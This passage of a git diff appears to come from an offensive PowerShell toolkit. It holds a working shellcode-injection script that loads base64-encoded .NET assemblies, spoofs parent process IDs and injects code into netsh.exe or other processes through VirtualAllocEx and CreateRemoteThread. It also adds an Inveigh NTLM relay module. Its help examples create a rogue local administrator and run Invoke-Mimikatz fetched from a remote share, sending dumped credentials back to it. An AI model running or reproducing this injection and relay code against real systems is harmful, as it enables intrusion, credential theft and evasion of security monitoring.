pemUAZHdTaXplAFNpemVPZgBHVUFSRF9Nb2RpZmllcmZsYWcATk9DQUNIRV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBuTGVuZ3RoAEFsbG9jSEdsb2JhbABGcmVlSEdsb2JhbABNYXJzaGFsAGtlcm5lbDMyLmRsbABudGRsbC5kbGwASW5qZWN0LmRsbABtc3ZjcnQuZGxsAEZpbGwAU3lzdGVtAEVudW0AbHBOdW1iZXJPZkJ5dGVzV3JpdHRlbgBscFByb2Nlc3NJbmZvcm1hdGlvbgBwRGVzdGluYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ATWVtb3J5UHJvdGVjdGlvbgBscFN0YXJ0dXBJbmZvAFplcm8AbHBEZXNrdG9wAGxwQnVmZmVyAFBQSURTcG9vZmVyAGxwUGFyYW1ldGVyAGhTdGRFcnJvcgAuY3RvcgBUaHJlYWRTZWN1cml0eURlc2NyaXB0b3IAbHBTZWN1cml0eURlc2NyaXB0b3IAV3JpdGVJbnRQdHIAU3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAGJJbmhlcml0SGFuZGxlcwBscFRocmVhZEF0dHJpYnV0ZXMAbHBQcm9jZXNzQXR0cmlidXRlcwBkd0NyZWF0aW9uRmxhZ3MAZHdGbGFncwBkd1hDb3VudENoYXJzAGR3WUNvdW50Q2hhcnMAVGhyZWFkQWNjZXNzAGR3RGVzaXJlZEFjY2VzcwBDcmVhdGVQcm9jZXNzAGhQcm9jZXNzAE9wZW5Qcm9jZXNzAEdldEN1cnJlbnRQcm9jZXNzAEdldFByb2NBZGRyZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRyZXNzAGxwU3RhcnRBZGRyZXNzAFplcm9CaXRzAGhPYmplY3QASW5qZWN0AGZsUHJvdGVjdABvcF9FeHBsaWNpdABscEVudmlyb25tZW50AGR3QXR0cmlidXRlQ291bnQAY291bnQAZGVzdABEZWxldGVQcm9jVGhyZWFkQXR0cmlidXRlTGlzdABJbml0aWFsaXplUHJvY1RocmVhZEF0dHJpYnV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" +$dl = [System.Convert]::FromBase64String($p) +$a = [System.Reflection.Assembly]::Load($dl) +$o = New-Object Inject +$pst = New-Object System.Diagnostics.ProcessStartInfo +$pst.UseShellExecute = $False +$pst.CreateNoWindow = $True +$pst.FileName = "C:\Windows\system32\netsh.exe" +echo "" +echo "[+] Inject-Shellcode" + + +if ($x86.IsPresent) { + if ($env:PROCESSOR_ARCHITECTURE -eq "x86"){ + $pst.FileName = "C:\Windows\System32\netsh.exe" + } else { + $pst.FileName = "C:\Windows\Syswow64\netsh.exe" + } +} + +if ($Suspended.IsPresent) { + $SuspendedState = $true +} else { + $SuspendedState = $false +} + +if ($ProcessPath) { + + if (($SuspendedState) -and ($ParentID)) { + + $Success = [PPIDSpoofer]::CreateProcess($ParentID, $ProcessPath, $true) + echo "[+] Parent Spoofing & Suspended Process Start: $ParentID" + $injectpid = $Success + echo "[+] New PID: $Success" + + } elseif ((!$SuspendedState) -and ($ParentID)) { + + $Success = [PPIDSpoofer]::CreateProcess($ParentID, $ProcessPath, $false) + echo "[+] Parent Spoofing $ParentID" + $injectpid = $Success + echo "[+] Suspended PID: $Success" + + } elseif (($SuspendedState) -and (!$ParentID)) { + + $Success = [PPIDSpoofer]::CreateProcess(0, $ProcessPath, $true) + echo "[+] Suspended Process Start" + $injectpid = $Success + echo "[+] New PID: $Success" + + } else { + + $pst.FileName = "$ProcessPath" + $Process = [System.Diagnostics.Process]::Start($pst) + $injectpid = $Process.ID + } + +} elseif ($ProcessName) { + + $Process = [System.Diagnostics.Process]::GetProcessesByName($ProcessName) + +} elseif ($ProcID){ + + $Process = [System.Diagnostics.Process]::GetProcessById($ProcID) + $injectpid = $ProcID + +} else { + + $Process = [System.Diagnostics.Process]::Start($pst) + $injectpid = $Process.ID +} + +$ProcessX86 = IsProcess-x86 $injectpid +$ProcessIDVal = $injectpid +$Proceed = $false + +if (($x86.IsPresent) -and ($ProcessX86)) { + echo "[+] Running against x86 process with ID: $ProcessIDVal" + $Proceed = $true +} elseif (($env:PROCESSOR_ARCHITECTURE -eq "x86") -and ($ProcessX86)) { + echo "[+] Running against x86 process with ID: $ProcessIDVal" + $Proceed = $true +} elseif ($ProcessX86) { + echo "[-] x86 process identified, use -x86 or this could crash the process" + echo "If you believe this is wrong use -Force to try injection anyway - use at own risk" + $Proceed = $false +} else { + echo "[+] Running against x64 process with ID: $ProcessIDVal" + $Proceed = $true +} + +$CurrentProcX86 = IsProcess-x86 $PID +if ($CurrentProcX86) { + echo "[+] Current process arch is x86: $PID" +} else { + echo "[+] Current process arch is x64: $PID" +} +echo "" + +if ($Proceed) { + +try { + [IntPtr]$phandle = [Inject]::OpenProcess([Inject]::PROCESS_ALL_ACCESS, $false, $injectpid); + [IntPtr]$zz = 0x10000 + [IntPtr]$x = 0 + [IntPtr]$nul = 0 + [IntPtr]$max = 0x70000000 + while( $zz.ToInt32() -lt $max.ToInt32() ) + { + $x=[Inject]::VirtualAllocEx($phandle,$zz,$Shellcode.Length*2,0x3000,0x40) + if( $x.ToInt32() -ne $nul.ToInt32() ){ + break + } + $zz = [Int32]$zz + $Shellcode.Length + } + echo "VirtualAllocEx" + echo "[+] $x" + if( $x.ToInt32() -gt $nul.ToInt32() ) + { + + $hg = [Runtime.InteropServices.Marshal]::AllocHGlobal($Shellcode.Length) + [Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $hg, $Shellcode.Length) + $s = [Inject]::WriteProcessMemory($phandle,[IntPtr]($x.ToInt32()),$hg, $Shellcode.Length,0) + echo "WriteProcessMemory" + echo "[+] $s" + + if ($RtlCreateUserThread.IsPresent){ + + $TokenHandle = [IntPtr]::Zero + $c = [Inject]::RtlCreateUserThread($phandle,0,0,0,0,0,[IntPtr]$x,0,[ref] $TokenHandle,0) + echo "RtlCreateUserThread" + $hexVal = "{0:x}" -f $c + if ($hexVal -eq "c0000022") { + echo "[-] Access Denied 0xC0000022" + } else { + echo "[+] Dec: $c" + echo "[+] Hex: 0x$($hexVal)" + } + + } else { + + $e = [Inject]::CreateRemoteThread($phandle,0,0,[IntPtr]$x,0,0,0) + + echo "CreateRemoteThread" + $Lasterror = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + echo "[+] $e" + + if ($e -eq 0) { + $TokenHandle = [IntPtr]::Zero + $c = [Inject]::RtlCreateUserThread($phandle,0,0,0,0,0,[IntPtr]$x,0,[ref] $TokenHandle,0) + echo "RtlCreateUserThread" + $hexVal = "{0:x}" -f $c + if ($hexVal -eq "c0000022") { + echo "[-] Access Denied 0xC0000022" + } else { + echo "[+] Dec: $c" + echo "[+] Hex: 0x$($hexVal)" + } + } + + } + + $Lasterror = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + echo "[-] LastError: $Lasterror" + } else { + echo "[-] Failed using VirtualAllocEx" + $Lasterror = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + echo "[-] LastError: $Lasterror" + echo "" + } +} catch { + echo $Error[0] +} + +} +} + +$psloadedprochandler = $null +Function IsProcess-x86 ($processID) { + +if ($psloadedprochandler -ne "TRUE") { + $script:psloadedprochandler = "TRUE" + $ps = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDACx/YFoAAAAAAAAAAOAAIiALATAAAAgAAAAGAAAAAAAAJicAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAANQmAABPAAAAAEAAAKgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAACcJQAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAALAcAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAKgDAAAAQAAAAAQAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAADgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAIJwAAAAAAAEgAAAACAAUAUCAAAEwFAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3AAAAAAUAbAAAAMQBAAAjfgAAMAIAAEACAAAjU3RyaW5ncwAAAABwBAAABAAAACNVUwB0BAAAEAAAACNHVUlEAAAAhAQAAMgAAAAjQmxvYgAAAAAAAAACAAABRzUAFAkAAAAA+gEzABYAAAEAAAAPAAAAAgAAAAEAAAADAAAADQAAAA0AAAACAAAAAQAAAAEAAAABAAAAAQAAAAAAegEBAAAAAAAGAOIA7QEGAE8B7QEGAC8AuwEPAA0CAAAGAFcAlAEGAMUAlAEGAKYAlAEGADYBlAEGAAIBlAEGABsBlAEGAG4AlAEGAEMAzgEGACEAzgEGAIkAlAEGADgCjQEAAAAAAQAAAAAAAQABAIEBEACmAQAAPQABAAEAAAAAAIAAliAcAiUAAQAAIAAAAAABAAEAEwACIAIAKwIJALUBAQARALUBBgAZALUBCgApALUBEAAxALUBEAA5ALUBEABBALUBEABJALUBEABRALUBEABZALUBEABhALUBFQBpALUBEABxALUBEAAuAAsALAAuABMANQAuABsAVAAuACMAXQAuACsAcQAuADMAcQAuADsAcQAuAEMAXQAuAEsAdwAuAFMAcQAuAFsAcQAuAGMAjwAuAGsAuQADACMABwAjAG0BQAEDABwCAQAEgAAAAQAAAAAAAAAAAAAAAACmAQAAAgAAAAAAAAAAAAAAGgAKAAAAAAAAAAAAADxNb2R1bGU+AG1zY29ybGliAHByb2Nlc3NIYW5kbGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBrZXJuZWwzMi5kbGwAUHJvY2Vzc0hhbmRsZXIuZGxsAFN5c3RlbQBTeXN0ZW0uUmVmbGVjdGlvbgBQcm9jZXNzSGFuZGxlcgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMASXNXb3c2NFByb2Nlc3MAd293NjRQcm9jZXNzAE9iamVjdAAAAAAAAMe7zDzTzepJlqlyZm7cVhgABCABAQgDIAABBSABARERBCABAQ4EIAEBAgi3elxWGTTgiQECBgACAhgQAggBAAgAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + $dllbytes = [System.Convert]::FromBase64String($ps) + $assembly = [System.Reflection.Assembly]::Load($dllbytes) +} + +$processHandle = (Get-Process -id $processID).Handle +$is64 = [IntPtr]::Zero +try{ +[ProcessHandler]::IsWow64Process($processHandle, [ref]$is64) |Out-Null +} catch { + +} +$is64 + +} \ No newline at end of file diff --git a/Modules/Inveigh-Relay.ps1 b/Modules/Inveigh-Relay.ps1 new file mode 100644 index 0000000..98b320e --- /dev/null +++ b/Modules/Inveigh-Relay.ps1 @@ -0,0 +1,1894 @@ +Function Invoke-InveighRelay +{ +<# +.SYNOPSIS +Invoke-InveighRelay performs NTLMv2 HTTP to SMB relay with psexec style command execution. + +.DESCRIPTION +Invoke-InveighRelay currently supports NTLMv2 HTTP to SMB relay with psexec style command execution. + + HTTP/HTTPS to SMB NTLMv2 relay with granular control + NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS + Granular control of console and file output + Can be executed as either a standalone function or through Invoke-Inveigh + +.PARAMETER HTTP +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + +.PARAMETER HTTPS +Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. +If the script does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store. + +.PARAMETER HTTPSCertAppID +Specify a valid application GUID for use with the ceriticate. + +.PARAMETER HTTPSCertThumbprint +Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx. + +.PARAMETER Challenge +Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. +Note that during SMB relay attempts, the challenge will be pulled from the SMB relay target. + +.PARAMETER MachineAccounts +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. + +.PARAMETER SMBRelayTarget +IP address of system to target for SMB relay. + +.PARAMETER SMBRelayCommand +Command to execute on SMB relay target. + +.PARAMETER SMBRelayUsernames +Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format. + +.PARAMETER SMBRelayAutoDisable +Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. + +.PARAMETER SMBRelayNetworkTimeout +Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. + +.PARAMETER ConsoleOutput +Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. + +.PARAMETER FileOutput +Default = Disabled: (Y/N) Enable/Disable real time file output. + +.PARAMETER StatusOutput +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + +.PARAMETER OutputStreamOnly +Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Relay through a shell that does not return other output streams. +Note that you will not see the various yellow warning messages if enabled. + +.PARAMETER OutputDir +Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled. + +.PARAMETER ShowHelp +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + +.PARAMETER RunTime +(Integer) Set the run time duration in minutes. + +.PARAMETER Tool +Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + +.EXAMPLE +Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Winter2016 /add && net localgroup administrators Dave /add" +Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target. + +.EXAMPLE +Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "powershell \\192.168.2.50\temp$\powermeup.cmd" +Execute with SMB relay enabled and using Mubix's powermeup.cmd method of launching Invoke-Mimikatz.ps1 and uploading output. In this example, a hidden anonymous share containing Invoke-Mimikatz.ps1 is employed on the Inveigh host system. +Powermeup.cmd contents used for this example: +powershell "IEX (New-Object Net.WebClient).DownloadString('\\192.168.2.50\temp$\Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.2.50\temp$\%COMPUTERNAME%.txt 2>&1" +Original version: +https://github.com/mubix/post-exploitation/blob/master/scripts/mass_mimikatz/powermeup.cmd + +.LINK +https://github.com/Kevin-Robertson/Inveigh +#> + +# Parameter default values can be modified in this section: +param +( + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTPS="N", + 